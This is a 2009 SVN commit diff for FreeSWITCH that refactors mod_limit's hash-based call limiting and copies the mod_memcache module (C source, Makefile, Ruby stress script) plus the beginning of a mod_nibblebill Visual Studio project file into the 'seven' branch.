+		switch_channel_set_variable(channel, switch_core_session_sprintf(session, "limit_usage_%s", hashkey), susage);
+
+		switch_channel_set_variable(channel, "limit_rate", srate);
+		switch_channel_set_variable(channel, switch_core_session_sprintf(session, "limit_rate_%s", hashkey), srate);
+	}
+
+	switch_core_event_hook_add_state_change(session, hash_state_handler);
+
+end:	
+	switch_mutex_unlock(globals.limit_hash_mutex);
+	return status;
+}
+
+/* !\brief Releases usage of a limit_hash-controlled ressource  */
+static void limit_hash_release(switch_core_session_t *session, const char *realm, const char *id)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
+	limit_hash_item_t *item = NULL;
+	char *hashkey = NULL;
+	
+	if (!pvt || !pvt->hash) {
+		return;
+	}
+	
+	hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
+	
+	switch_mutex_lock(globals.limit_hash_mutex);
+	
+	if ((item = (limit_hash_item_t*)switch_core_hash_find(pvt->hash, hashkey))) {
+		item->total_usage--;	
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)hashkey, item->total_usage);
+	
+		switch_core_hash_delete(pvt->hash, hashkey);
+	
+		if (item->total_usage == 0)  {
+			/* Noone is using this item anymore */
+			switch_core_hash_delete(globals.limit_hash, (const char*)hashkey);
+			free(item);
+		}
+	}
+	
+	switch_mutex_unlock(globals.limit_hash_mutex);
+}
+
 #define LIMITHASH_USAGE "<realm> <id> [<max>[/interval]] [number [dialplan [context]]]"
 #define LIMITHASH_DESC "limit access to a resource and transfer to an extension if the limit is exceeded"
 SWITCH_STANDARD_APP(limit_hash_function)
@@ -804,18 +1001,12 @@
 	char *mydata = NULL;
 	char *realm = NULL;
 	char *id = NULL;
-	char *hashkey = NULL;
 	char *xfer_exten = NULL;
 	int max = -1;
 	int interval = 0;
 	char *szinterval = NULL;
-	limit_hash_item_t *item = NULL;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	time_t now = switch_timestamp(NULL);
-	switch_hash_t *channel_hash = NULL;
-	uint8_t increment = 1;
-	uint8_t new_channel = 0;
-	
+
 	/* Parse application data  */
 	if (!switch_strlen_zero(data)) {
 		mydata = switch_core_session_strdup(session, data);
@@ -851,81 +1042,77 @@
 		xfer_exten = limit_def_xfer_exten;
 	}
 	
-	hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
-	
-	switch_mutex_lock(globals.limit_hash_mutex);
-	/* Check if that realm+id has ever been checked */
-	if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
-		/* No, create an empty structure and add it, then continue like as if it existed */
-		item = (limit_hash_item_t*)switch_core_alloc(globals.pool, sizeof(limit_hash_item_t));
-		memset(item, 0, sizeof(limit_hash_item_t));
-		switch_core_hash_insert(globals.limit_hash, hashkey, item);
-	}
-	
-	/* Did we already run on this channel before? */
-	if ((channel_hash = switch_channel_get_private(channel, "limit_hash")))
-	{
-		/* Yes, but check if we did that realm+id
-		   If we didnt, allow incrementing the counter.
-		   If we did, dont touch it but do the validation anyways
-		 */
-		increment = !switch_core_hash_find(channel_hash, hashkey);
-	} else {
-		/* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
-		new_channel = 1;
-	}
-
-	if (interval > 0) {
-		if (item->last_check <= (now - interval)) {
-			item->rate_usage = 1;
-			item->last_check = now;
+	if (!do_limit_hash(session, realm, id, max, interval)) {
+		/* Limit exceeded */
+		if (*xfer_exten == '!') {
+			switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
 		} else {
-			/* Always increment rate when its checked as it doesnt depend on the channel */
-			item->rate_usage++;
-			
-			if ((max >= 0) && (item->rate_usage > (uint32_t)max)) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n", hashkey, max, interval, item->rate_usage);
-				switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
-				goto end;
-			}
+			switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
 		}
-	} else if ((max >= 0) && (item->total_usage + increment > (uint32_t)max)) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Usage for %s is already at max value (%d)\n", hashkey, item->total_usage);
-		switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
-		goto end;
 	}
+}
 
-	if (increment) {
-		item->total_usage++;
-		
-		if (!new_channel)  {
-			switch_core_hash_insert(channel_hash, hashkey, item);
+
+#define LIMITHASHEXECUTE_USAGE "<realm> <id> [<max>[/interval]] [application] [application arguments]"
+#define LIMITHASHEXECUTE_DESC "limit access to a resource. the specified application will only be executed if the resource is available"
+SWITCH_STANDARD_APP(limit_hash_execute_function)
+{
+	int argc = 0;
+	char *argv[5] = { 0 };
+	char *mydata = NULL;
+	char *realm = NULL;
+	char *id = NULL;
+	char *app = NULL;
+	char *app_arg = NULL;
+	int max = -1;
+	int interval = 0;
+	char *szinterval = NULL;
+
+	/* Parse application data  */
+	if (!switch_strlen_zero(data)) {
+		mydata = switch_core_session_strdup(session, data);
+		argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+	}
+	
+	if (argc < 2) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "USAGE: limit_hash_execute %s\n", LIMITHASHEXECUTE_USAGE);
+		return;
+	}
+	
+	realm = argv[0];
+	id = argv[1];
+	
+	/* If max is omitted, only act as a counter and skip maximum checks */
+	if (argc > 2) {
+		if ((szinterval = strchr(argv[2], '/')))
+		{
+			*szinterval++ = '\0';
+			interval = atoi(szinterval);
 		}
 		
-		if (max == -1) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d\n", hashkey, item->total_usage);
-		} else if (interval == 0) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);	
-		} else {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey, item->rate_usage, max, interval);
+		max = atoi(argv[2]);
+		
+		if (max < 0) {
+			max = 0;
 		}
 	}
-	
-	/* Save current usage & rate into channel variables so it can be used later in the dialplan, or added to CDR records */
-	switch_channel_set_variable(channel, "limit_usage", switch_core_session_sprintf(session, "%d", item->total_usage));
-	switch_channel_set_variable(channel, "limit_rate", switch_core_session_sprintf(session, "%d", item->rate_usage));
 
-	if (new_channel) {
-		switch_core_hash_init(&channel_hash, switch_core_session_get_pool(session));
-		switch_core_hash_insert(channel_hash, hashkey, item);
-		switch_channel_set_private(channel, "limit_hash", channel_hash);
-		switch_core_event_hook_add_state_change(session, hash_state_handler);
+
+	app = argv[3];
+	app_arg = argv[4];
+
+	if (switch_strlen_zero(app)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing application\n");
+		return;
 	}
-	
-end:	
-	switch_mutex_unlock(globals.limit_hash_mutex);
+
+	if (do_limit_hash(session, realm, id, max, interval)) {
+		switch_core_session_execute_application(session, app, app_arg);
+		limit_hash_release(session, realm, id);
+	}
 }
 
+
 #define LIMIT_HASH_USAGE_USAGE "<realm> <id>"
 SWITCH_STANDARD_API(limit_hash_usage_function)
 {
@@ -975,6 +1162,13 @@
 	gethostname(globals.hostname, sizeof(globals.hostname));
 	globals.pool = pool;
 
+
+	if (switch_event_reserve_subclass(LIMIT_EVENT_USAGE) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt register event subclass \"%s\"", 
+			LIMIT_EVENT_USAGE);
+		return SWITCH_STATUS_FALSE;
+	}
+	
 	if ((status = do_config() != SWITCH_STATUS_SUCCESS)) {
 		return status;
 	}
@@ -987,9 +1181,12 @@
 
 	/* connect my internal structure to the blank pointer passed to me */
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+		
 
+
 	SWITCH_ADD_APP(app_interface, "limit", "Limit", LIMIT_DESC, limit_function, LIMIT_USAGE, SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "limit_hash", "Limit (hash)", LIMITHASH_DESC, limit_hash_function, LIMITHASH_USAGE, SAF_SUPPORT_NOMEDIA);
+	SWITCH_ADD_APP(app_interface, "limit_hash_execute", "Limit (hash)", LIMITHASHEXECUTE_USAGE, limit_hash_execute_function, LIMITHASHEXECUTE_USAGE, SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "db", "Insert to the db", DB_DESC, db_function, DB_USAGE, SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_APP(app_interface, "hash", "Insert into the hashtable", HASH_DESC, hash_function, HASH_USAGE, SAF_SUPPORT_NOMEDIA)
 	SWITCH_ADD_APP(app_interface, "group", "Manage a group", GROUP_DESC, group_function, GROUP_USAGE, SAF_SUPPORT_NOMEDIA);
@@ -1013,6 +1210,28 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_limit_shutdown) 
+{
+	
+	if (globals.master_odbc) {
+		switch_odbc_handle_destroy(&globals.master_odbc);
+	}
+	
+	switch_event_free_subclass(LIMIT_EVENT_USAGE);
+	
+	switch_xml_config_cleanup(config_settings);
+	
+	switch_mutex_destroy(globals.mutex);
+	switch_mutex_destroy(globals.limit_hash_mutex);
+	switch_mutex_destroy(globals.db_hash_mutex);
+
+	switch_core_hash_destroy(&globals.limit_hash);
+	switch_core_hash_destroy(&globals.db_hash);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
 /* For Emacs:
  * Local Variables:
  * mode:c

Copied: freeswitch/branches/seven/src/mod/applications/mod_memcache (from rev 14471, freeswitch/trunk/src/mod/applications/mod_memcache)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_memcache/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_memcache/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_memcache/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_memcache/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_memcache/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+MEMCACHED=libmemcached-0.27
+switch_srcdir=../../../..
+
+WANT_CURL=yes
+
+MEMCACHED_DIR=$(switch_srcdir)/libs/$(MEMCACHED)
+
+MEMCACHEDLA=$(MEMCACHED_DIR)/libmemcached/libmemcached.la
+
+LOCAL_CFLAGS=-I$(MEMCACHED_DIR)
+LOCAL_LIBADD=$(MEMCACHEDLA)
+
+include $(switch_srcdir)/build/modmake.rules
+
+DEFAULT_ARGS=--prefix=$(PREFIX) --disable-shared --with-pic
+
+$(LOCAL_OBJS): $(LOCAL_SOURCES)
+
+$(MEMCACHED_DIR):
+	$(GETLIB) $(MEMCACHED).tar.gz
+
+$(MEMCACHED_DIR)/Makefile: $(MEMCACHED_DIR)
+	cd $(MEMCACHED_DIR) && CFLAGS=$(AM_CFLAGS) CC=$(CC) CXX=$(CXX) ./configure --disable-shared --with-pic CPPFLAGS= LDFLAGS=
+	$(TOUCH_TARGET)
+
+$(MEMCACHEDLA): $(MEMCACHED_DIR)/Makefile
+	cd $(MEMCACHED_DIR) && $(MAKE)
+	$(TOUCH_TARGET)
+
+
+

Deleted: freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,421 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Rupa Schomaker <rupa@rupa.com>
+ *
+ * mod_memcache.c -- API for memcache
+ *
+ */
+#include <switch.h>
+#include <libmemcached/memcached.h>
+
+/* Prototypes */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_memcache_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_memcache_runtime);
+SWITCH_MODULE_LOAD_FUNCTION(mod_memcache_load);
+
+/* SWITCH_MODULE_DEFINITION(name, load, shutdown, runtime) 
+ * Defines a switch_loadable_module_function_table_t and a static const char[] modname
+ */
+SWITCH_MODULE_DEFINITION(mod_memcache, mod_memcache_load, mod_memcache_shutdown, NULL);
+
+static char *SYNTAX = "memcache <set|replace|add> <key> <value> [expiration [flags]]\n"
+  "memcache <get|getflags> <key>\n"
+  "memcache <delete> <key>\n"
+  "memcache <increment|decrement> <key> [offset]\n"
+  "memcache <flush>\n"
+  "memcache <status> [verbose]\n";
+
+static struct {
+	memcached_st *memcached;
+	char *memcached_str;
+} globals;
+
+static switch_event_node_t *NODE = NULL;
+
+static switch_status_t config_callback_memcached(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed) 
+{
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	memcached_server_st *memcached_server = NULL;
+	memcached_st *newmemcached = NULL;
+	memcached_st *oldmemcached = NULL;
+	const char *memcached_str = NULL;
+	memcached_return rc;
+	unsigned int servercount;
+	
+	if ((callback_type == CONFIG_LOAD || callback_type == CONFIG_RELOAD) && changed) {
+		memcached_str = newvalue;
+		
+		/* initialize main ptr */
+		memcached_server = memcached_servers_parse(memcached_str);
+		if (!memcached_server) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to initialize memcached data structure (server_list).\n");
+			switch_goto_status(SWITCH_STATUS_GENERR, end);
+		}
+		
+		if ((servercount = memcached_server_list_count(memcached_server)) == 0) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No memcache servers defined.  Server string: %s.\n", memcached_str);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%u servers defined (%s).\n", servercount, memcached_str);
+		}
+		
+		/* setup memcached */
+		newmemcached = memcached_create(NULL);
+		if (!newmemcached) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to initialize memcached data structure (memcached_st).\n");
+			switch_goto_status(SWITCH_STATUS_GENERR, end);
+		}
+		rc = memcached_server_push(newmemcached, memcached_server);
+		if (rc != MEMCACHED_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memcache error adding server list: %s\n", memcached_strerror(newmemcached, rc));
+			switch_goto_status(SWITCH_STATUS_GENERR, end);
+		}
+		/* memcached_behavior_set(newmemcached, MEMCACHED_BEHAVIOR_BINARY_PROTOCOL, 1); */
+		
+		/* swap pointers */
+		oldmemcached = globals.memcached;
+		globals.memcached = newmemcached;
+		newmemcached = NULL;
+	}
+	
+	switch_goto_status(SWITCH_STATUS_SUCCESS, end);
+
+end:
+	if (memcached_server) {
+		memcached_server_list_free(memcached_server);
+	}
+	if (newmemcached) {
+		memcached_free(newmemcached);
+	}
+	if (oldmemcached) {
+		memcached_free(oldmemcached);
+	}
+	return status;
+}
+
+static switch_xml_config_string_options_t config_opt_memcache_servers = {NULL, 0, NULL}; /* anything ok */
+
+static switch_xml_config_item_t instructions[] = {
+	/* parameter name        type                 reloadable   pointer                         default value     options structure */
+	SWITCH_CONFIG_ITEM_CALLBACK("memcache-servers", SWITCH_CONFIG_STRING, CONFIG_REQUIRED | CONFIG_RELOAD, &globals.memcached_str, "", config_callback_memcached, &config_opt_memcache_servers,
+		"host,host:port,host", "List of memcached servers."),
+	SWITCH_CONFIG_ITEM_END()
+};
+
+static switch_status_t do_config(switch_bool_t reload)
+{
+	if (switch_xml_config_parse_module_settings("memcache.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_GENERR;
+	}
+	
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static void event_handler(switch_event_t *event)
+{
+	do_config(SWITCH_TRUE);
+}
+
+SWITCH_STANDARD_API(memcache_function)
+{
+	switch_status_t status;
+	char *argv[5] = { 0 };
+	int argc;
+	char *subcmd = NULL;
+	char *key = NULL;
+	char *val = NULL;
+	char *expires_str = NULL;
+	char *flags_str = NULL;
+	char *mydata = NULL;
+	size_t string_length = 0;
+	time_t expires = 0;
+	uint32_t flags = 0;
+	unsigned int server_count = 0;
+	
+	memcached_return rc;
+	memcached_st *memcached = NULL;
+	memcached_stat_st *stat = NULL;
+	memcached_server_st *server_list;
+	
+	if (switch_strlen_zero(cmd)) {
+		goto usage;
+	}
+	
+	mydata = strdup(cmd);
+	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (argc < 1) {
+			goto usage;
+		}
+		
+		/* clone memcached struct so we're thread safe */
+		memcached = memcached_clone(NULL, globals.memcached);
+		if (!memcached) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error cloning memcached object");
+			stream->write_function(stream, "-ERR Error cloning memcached object\n");
+		}
+		
+		subcmd = argv[0];
+		
+		if ((!strcasecmp(subcmd, "set") || !strcasecmp(subcmd, "replace") || !strcasecmp(subcmd, "add")) && argc > 2) {
+			key = argv[1];
+			val = argv[2];
+
+			if(argc > 3) {
+				expires_str = argv[3];
+				expires = (time_t)strtol(expires_str, NULL, 10);
+			}
+			if(argc > 4) {
+				flags_str = argv[4];
+				flags = (uint32_t)strtol(flags_str, NULL, 16);
+			}
+			if (!strcasecmp(subcmd, "set")) {
+				rc = memcached_set(memcached, key, strlen(key), val, strlen(val), expires, flags);
+			} else if (!strcasecmp(subcmd, "replace")) {
+				rc = memcached_replace(memcached, key, strlen(key), val, strlen(val), expires, flags);
+			} else if (!strcasecmp(subcmd, "add")) {
+				rc = memcached_add(memcached, key, strlen(key), val, strlen(val), expires, flags);
+			}
+			
+			if (rc == MEMCACHED_SUCCESS) {
+				stream->write_function(stream, "+OK\n");
+			} else {
+				switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
+			}
+		} else if (!strcasecmp(subcmd, "get") && argc > 1) {
+			key = argv[1];
+			
+			val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
+			if (rc == MEMCACHED_SUCCESS) {
+				stream->write_function(stream, "%.*s", (int)string_length, val);
+			} else {
+				switch_safe_free(val);
+				switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
+			}
+			switch_safe_free(val);
+		} else if (!strcasecmp(subcmd, "getflags") && argc > 1) {
+			key = argv[1];
+			
+			val = memcached_get(memcached, key, strlen(key), &string_length, &flags, &rc);
+			if (rc == MEMCACHED_SUCCESS) {
+				stream->write_function(stream, "%x", flags);
+			} else {
+				switch_safe_free(val);
+				switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
+			}
+			switch_safe_free(val);
+		} else if ((!strcasecmp(subcmd, "increment") || !strcasecmp(subcmd, "decrement")) && argc > 1) {
+			key = argv[1];
+			uint64_t ivalue;
+			unsigned int offset = 1;
+			switch_bool_t increment = SWITCH_TRUE;
+			char *svalue = NULL;
+			if(argc > 2) {
+				offset = (unsigned int)strtol(argv[2], NULL, 10);
+				svalue = argv[2];
+			} else {
+				svalue = "1";
+			}
+			
+			if (!strcasecmp(subcmd, "increment")) {
+				increment = SWITCH_TRUE;
+				rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
+			} else if (!strcasecmp(subcmd, "decrement")) {
+				increment = SWITCH_FALSE;
+				rc = memcached_decrement(memcached, key, strlen(key), offset, &ivalue);
+			}
+			if (rc == MEMCACHED_NOTFOUND) {
+				/* ok, trying to incr / decr a value that doesn't exist yet.
+				   Try to add an appropriate initial value.  If someone else beat
+				   us to it, then redo incr/decr.  Otherwise we're good.
+				*/
+				rc = memcached_add(memcached, key, strlen(key), (increment) ? svalue : "0", strlen(svalue), 0, 0);
+				if (rc == MEMCACHED_SUCCESS) {
+					ivalue = (increment) ? offset : 0;
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Initialized inc/dec memcache key: %s to value %d\n", key, offset);
+				} else {
+					if (increment) {
+						rc = memcached_increment(memcached, key, strlen(key), offset, &ivalue);
+					} else {
+						rc = memcached_decrement(memcached, key, strlen(key), offset, &ivalue);
+					}
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Someone else created incr/dec memcache key, resubmitting inc/dec request.\n");
+				}
+			}
+			if (rc == MEMCACHED_SUCCESS) {
+				stream->write_function(stream, "%ld", ivalue);
+			} else {
+				switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
+			}
+		} else if (!strcasecmp(subcmd, "delete") && argc > 1) {
+			key = argv[1];
+			if(argc > 2) {
+				expires_str = argv[3];
+				expires = (time_t)strtol(expires_str, NULL, 10);
+			}
+			rc = memcached_delete(memcached, key, strlen(key), expires);
+			if (rc == MEMCACHED_SUCCESS) {
+				stream->write_function(stream, "+OK\n", key);
+			} else {
+				switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
+			}
+		} else if (!strcasecmp(subcmd, "flush")) {
+			if(argc > 1) {
+				expires_str = argv[3];
+				expires = (time_t)strtol(expires_str, NULL, 10);
+			}
+			rc = memcached_flush(memcached, expires);
+			if (rc == MEMCACHED_SUCCESS) {
+				stream->write_function(stream, "+OK\n", key);
+			} else {
+				switch_goto_status(SWITCH_STATUS_SUCCESS, mcache_error);
+			}
+		} else if (!strcasecmp(subcmd, "status")) {
+			switch_bool_t verbose = SWITCH_FALSE;
+			int x;
+
+			if (argc > 1) {
+				if (!strcasecmp(argv[1], "verbose")) {
+					verbose = SWITCH_TRUE;
+				}
+			}
+			
+			stream->write_function(stream, "Lib version: %s\n", memcached_lib_version());
+			stat = memcached_stat(memcached, NULL, &rc);
+			if (rc != MEMCACHED_SUCCESS && rc != MEMCACHED_SOME_ERRORS) {
+				stream->write_function(stream, "-ERR Error communicating with servers (%s)\n", memcached_strerror(memcached, rc));
+			}
+			server_list = memcached_server_list(memcached);
+			server_count = memcached_server_count(memcached);
+			stream->write_function(stream, "Servers: %d\n", server_count);
+			for (x = 0; x < server_count; x++) {
+				stream->write_function(stream, "  %s (%u)\n", memcached_server_name(memcached, server_list[x]), memcached_server_port(memcached, server_list[x]));
+				if (verbose == SWITCH_TRUE) {
+					char **list;
+					char **ptr;
+					char *value;
+					memcached_return rc2;
+					
+					list = memcached_stat_get_keys(memcached, &stat[x], &rc);
+					for (ptr = list; *ptr; ptr++) {
+						value = memcached_stat_get_value(memcached, &stat[x], *ptr, &rc2);
+						stream->write_function(stream, "    %s: %s\n", *ptr, value);
+						switch_safe_free(value);
+					}
+					switch_safe_free(list);
+					stream->write_function(stream, "\n");
+				}
+			}
+		} else {
+			goto usage;
+		}
+	}
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+
+mcache_error:
+	if (rc != MEMCACHED_NOTFOUND) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error while running command %s: %s\n", subcmd, memcached_strerror(memcached, rc));
+	}
+	stream->write_function(stream, "-ERR %s\n", memcached_strerror(memcached, rc));
+	goto done;
+	
+usage:
+	stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
+	switch_goto_status(SWITCH_STATUS_SUCCESS, done);
+	
+done: 
+	if (memcached) {
+		memcached_quit(memcached);
+		memcached_free(memcached);
+	}
+	switch_safe_free(mydata);
+	switch_safe_free(stat);
+	
+	return status;
+}
+
+/* Macro expands to: switch_status_t mod_memcache_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool) */
+SWITCH_MODULE_LOAD_FUNCTION(mod_memcache_load)
+{
+	switch_api_interface_t *api_interface;
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	memset(&globals, 0, sizeof(globals));
+
+	do_config(SWITCH_FALSE);
+	
+	if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
+		return SWITCH_STATUS_TERM;
+	}
+	
+	SWITCH_ADD_API(api_interface, "memcache", "Memcache API", memcache_function, "syntax");
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/*
+  Called when the system shuts down
+  Macro expands to: switch_status_t mod_memcache_shutdown() */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_memcache_shutdown)
+{
+	/* Cleanup dynamically allocated config settings */
+	switch_xml_config_cleanup(instructions);
+	if (globals.memcached) {
+		memcached_free(globals.memcached);
+	}
+	
+	switch_event_unbind(&NODE);
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/*
+  If it exists, this is called in it's own thread when the module-load completes
+  If it returns anything but SWITCH_STATUS_TERM it will be called again automatically
+  Macro expands to: switch_status_t mod_memcache_runtime()
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_memcache_runtime)
+{
+	while(looping)
+	{
+		switch_cond_next();
+	}
+	return SWITCH_STATUS_TERM;
+}
+*/
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
+ */

Deleted: freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache_stress.rb

Copied: freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache_stress.rb (from rev 14471, freeswitch/trunk/src/mod/applications/mod_memcache/mod_memcache_stress.rb) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache_stress.rb	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_memcache/mod_memcache_stress.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+#! /usr/bin/ruby
+
+#require "ESL"
+require "../../../../libs/esl/ruby/ESL"
+tries=10000
+
+con = ESL::ESLconnection.new("localhost", "8021", "ClueCon")
+e = con.sendRecv("api load mod_memcache")
+puts e.getBody()
+e = con.sendRecv("api reload mod_memcache")
+puts e.getBody()
+puts "Calling various memcache apis #{tries} times"
+tries.times do |try|
+  if (try % 100 == 0) then
+    puts try
+  end
+  e = con.sendRecv("api memcache add foo a#{try}")
+  e = con.sendRecv("api memcache set foo s#{try}")
+  e = con.sendRecv("api memcache replace foo r#{try}")
+  e = con.sendRecv("api memcache get foo #{try}")
+  e = con.sendRecv("api memcache increment foo")
+  e = con.sendRecv("api memcache decrement foo")
+  e = con.sendRecv("api memcache delete foo")
+end
+
+e = con.sendRecv("api memcache flush")
+e = con.sendRecv("api memcache status verbose")
+puts e.getBody()

Copied: freeswitch/branches/seven/src/mod/applications/mod_nibblebill (from rev 14471, freeswitch/trunk/src/mod/applications/mod_nibblebill)

Property changes: freeswitch/branches/seven/src/mod/applications/mod_nibblebill


Name: svn:ignore
   + *.user
Win32
x64
Makefile

Deleted: freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.2008.vcproj

Copied: freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_nibblebill/mod_nibblebill.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,287 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_nibblebill"
+	ProjectGUID="{3C977801-FE88-48F2-83D3-FA2EBFF6688E}"
+	RootNamespace="mod_nibblebill"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
